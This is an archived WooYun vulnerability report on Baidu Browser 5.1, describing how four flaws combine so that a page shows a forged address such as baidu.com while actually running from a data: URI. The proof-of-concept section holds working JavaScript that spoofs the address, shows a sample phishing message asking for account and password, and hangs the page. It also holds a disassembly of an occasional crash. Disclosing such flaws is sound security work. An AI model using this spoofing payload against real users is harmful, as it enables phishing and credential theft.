当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041641

漏洞标题:百度浏览器5.1正式版(2.210.0.42889)data协议伪造任意网站漏洞

相关厂商:百度

漏洞作者: blast

提交时间:2013-11-01 08:17

修复时间:2014-01-27 08:18

公开时间:2014-01-27 08:18

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-01: 细节已通知厂商并且等待厂商处理中
2013-11-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-12-29: 细节向核心白帽子及相关领域专家公开
2014-01-08: 细节向普通白帽子公开
2014-01-18: 细节向实习白帽子公开
2014-01-27: 细节向公众公开

简要描述:

百度浏览器data协议和脚本处理等4个地方有问题,可以伪造任意网站。 偶尔会因为堆访问出错程序崩溃,测试了二十多次只出现了一次。
ps:非之前的坑爹脚本,但是之前的那种spoof百度还是没修复。。

详细说明:

问题由这些因素综合而来
1、百度处理网页的时候有一个蛋疼的设定:如果网页里面有一个iframe的网址无法打开,那么百度浏览器会把整个页面的地址都给替换成出错的网址,但是此时页面的地址并不是出错的那个,而是data:text/html,biduwebdata,也就是显示错误信息;由于这个data:协议非常容易伪造,给了这个脚本可乘之机;
2、百度浏览器处理脚本死循环的时候不会退出或者提示终止,而是让整个页面卡着不动,例如<script>while(1){}</script>或者<script>while(1){alert(3)}</script>,前者让浏览器页面卡住,但是内容照常显示,后者一直弹出对话框,程序只能通过任务管理器禁止,
3、百度浏览器当脚本执行超过5s的时候不会显示加载的小圆圈。
4、百度浏览器能识别http:\www.baidu.com,http:/\www.baidu.com等等网址,而且由于之前的栈溢出( WooYun: 百度浏览器5.0正式版(2.200.0.41563)拒绝服务漏洞 )毛病改了个新法子:网址超过4000多字(忘了。。刚才崩溃的时候看到分配的好像是这么多)的时候直接显示无法连接
组合这4个问题:
1、利用location.href将自己的地址替换成data:text/html,xxx形式,然后打开一个data:text/html,xxx2的新窗口
2、可以在xxx2中写入一个超长地址,而且是http:\\www.baidu.com/xxx这种的iframe,同时让它转换转换
3、根据特性【4】,xxx2出错,同时根据特性【1】,xxx2显示的网址变为了http://www.baidu.com/xxxxx,xxx2的location.href变为了data:text/html,biduwebdata,也就是显示的是http://,但是协议依然是data:。
4、根据同源原理,xxx1此时可以写入xxx2,此时修改xxx2内容并加入一个死循环,由于百度的特性【2】,百度不会再试图向xxx2写入自己的报错数据,或者说没机会写入,然后由于【3】的原因,几秒后,就可以spoof一个“加载完成”的页面了
ps:地址短于10000的话,还会显示百度认证图标-,-
偶尔崩溃的情况

CPU Disasm
Address Hex dump Command Comments
00167B10 /$ 51 PUSH ECX
00167B11 |. 8D4C24 04 LEA ECX,[ESP+4]
00167B15 |. 2BC8 SUB ECX,EAX
00167B17 |. 1BC0 SBB EAX,EAX
00167B19 |. F7D0 NOT EAX
00167B1B |. 23C8 AND ECX,EAX
00167B1D |. 8BC4 MOV EAX,ESP
00167B1F |. 25 00F0FFFF AND EAX,FFFFF000
00167B24 |> 3BC8 /CMP ECX,EAX
00167B26 |.- 72 0A |JB SHORT 00167B32
00167B28 |. 8BC1 |MOV EAX,ECX
00167B2A |. 59 |POP ECX
00167B2B |. 94 |XCHG EAX,ESP
00167B2C |. 8B00 |MOV EAX,DWORD PTR DS:[EAX]
00167B2E |. 890424 |MOV DWORD PTR SS:[ESP],EAX
00167B31 |. C3 |RETN
00167B32 |> 2D 00100000 |SUB EAX,1000 ;堆起始地址为0x00531000,减去0x1000之后的0x00530000处不可读
00167B37 |. 8500 |TEST DWORD PTR DS:[EAX],EAX ; eax==530000; access violation,程序崩溃
00167B39 \.- EB E9 \JMP SHORT 00167B24

漏洞证明:

<script>
location.href="data:text/html,<scr"+"ipt>var k=window.open(\"data:text/html,123\",\"newwin\");k.document.open();var i=1;var x=\'a\';for(i=1;i<23333;i++)x+=\'a\';k.document.write('<p>you have got the 1st prize, send me your account and password to BLAST...</p><iframe src=\"http:\\\\\\\\baidu.com/A'+x+'\"/>');k.document.close();function aa(){k.document.open();k.document.write('<title>HELLO!!</title><scr'+'ipt>while(true){}</scr'+'ipt>')}setTimeout('aa()',500)</scr"+"ipt><a href='javascript:aa()'>xasxa</a>";
</script>


ps:如果运行不了请联系我

f1.png


f2.png


修复方案:

修复上面几个问题

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-27 08:18

厂商回复:

此问题在预览版中已修复,感谢提交。

最新状态:

暂无